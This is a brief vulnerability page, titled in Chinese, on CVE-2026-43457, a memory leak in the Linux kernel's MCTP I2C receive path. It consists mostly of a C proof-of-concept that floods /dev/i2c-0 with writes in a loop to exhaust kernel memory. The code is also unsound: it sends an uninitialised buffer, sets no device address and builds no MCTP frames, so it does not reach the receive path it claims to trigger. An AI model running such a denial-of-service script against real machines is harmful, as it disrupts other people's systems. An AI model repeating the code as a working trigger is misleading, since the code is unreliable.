CVE-2026-43457: Linux内核MCTP I2C接收路径内存泄漏漏洞

/* * PoC Concept for CVE-2026-43457 * This code demonstrates how to trigger the memory leak by interacting * with the MCTP I2C interface when allow_rx is false. * Note: Actual exploitation requires a vulnerable kernel version and specific hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <linux/i2c-dev.h> #define MCTP_I2C_DEVICE "/dev/i2c-0" int main() { int fd; char buffer[10]; // Open the I2C device (assuming MCTP is enabled) fd = open(MCTP_I2C_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open I2C device"); return 1; } printf("Starting PoC to trigger skb leak...\n"); // Loop to continuously trigger the receive path // In a real scenario, this would involve sending specific MCTP frames // that cause the driver to allocate skb but drop them due to allow_rx=false. for (int i = 0; i < 100000; i++) { // Simulate sending data that triggers the vulnerable path write(fd, buffer, sizeof(buffer)); // Check for memory pressure or system response if (i % 1000 == 0) { printf("Sent %d iterations...\n", i); } } close(fd); printf("PoC execution completed. Check kernel logs for OOM or memory usage.\n"); return 0; }